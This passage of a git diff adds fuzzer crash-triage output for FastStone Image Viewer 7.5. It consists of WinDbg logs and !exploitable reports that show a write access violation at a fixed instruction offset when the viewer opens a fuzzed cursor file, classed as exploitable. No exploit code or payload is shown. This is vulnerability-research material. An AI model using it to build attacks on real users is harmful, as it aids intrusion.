No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/11849/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/11849/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..c6b6c32 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/11849/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1160: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1160: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1160.1cd4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=00000001 ebx=1276ffde ecx=00000001 edx=11575000 esi=0804c2b8 edi=11575000 +eip=00402d8a esp=0019f8e4 ebp=0019f94c iopl=0 nv dn ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210616 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:005901bd fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.772009299217368160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 1.525902189669642175960e-0003 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.15244e-009 -3.24612e+007 0.000208829 -1.10297e+034 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 006017e8 00000000 0019f9b8 00000000 image00000000_00400000+0x2d8a +0019f9c4 005ff973 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x2017e8 +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff973 +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08068130 07fe5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002db000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002db000 d112701f 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002db000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x11575000 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x057b1968 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x2d8a +STACK_FRAME:image00000000_00400000+0x2017e8 +STACK_FRAME:image00000000_00400000+0x1ff973 +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x0000000000402d8a +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:EXPLOITABLE +BUG_TITLE:Exploitable - User Mode Write AV starting at image00000000_00400000+0x0000000000002d8a (Hash=0x67613208.0x057b1968) +EXPLANATION:User mode write access violations that are not near NULL are exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/11849/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/11849/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fcd7934 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/11849/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/32304/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/32304/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..ab3a064 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/32304/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x00000000115742c0 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/32304/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/32304/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..41e0475 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/32304/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/32304/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/32304/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..8898509 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/32304/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1D0C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1D0C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1d0c.1284): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=00000001 ebx=1276ff2f ecx=00000001 edx=115742c0 esi=07f3c2b8 edi=115742c0 +eip=00402d8a esp=0019f8e4 ebp=0019f94c iopl=0 nv dn ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210616 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:005901bd fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.724158553165415520000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 1.530737203036982610860e-0003 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=117.848 9.75089e-017 6.99624e+033 -1.44756e+036 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 006017e8 00000000 0019f9b8 00000000 image00000000_00400000+0x2d8a +0019f9c4 005ff973 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x2017e8 +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff973 +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f58130 07ed5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002be000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002be000 96eb576f 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6291 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002be000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x115742c0 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x057b1968 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x2d8a +STACK_FRAME:image00000000_00400000+0x2017e8 +STACK_FRAME:image00000000_00400000+0x1ff973 +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x0000000000402d8a +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:EXPLOITABLE +BUG_TITLE:Exploitable - User Mode Write AV starting at image00000000_00400000+0x0000000000002d8a (Hash=0x67613208.0x057b1968) +EXPLANATION:User mode write access violations that are not near NULL are exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/32304/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/32304/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..8898509 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/32304/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1D0C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1D0C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 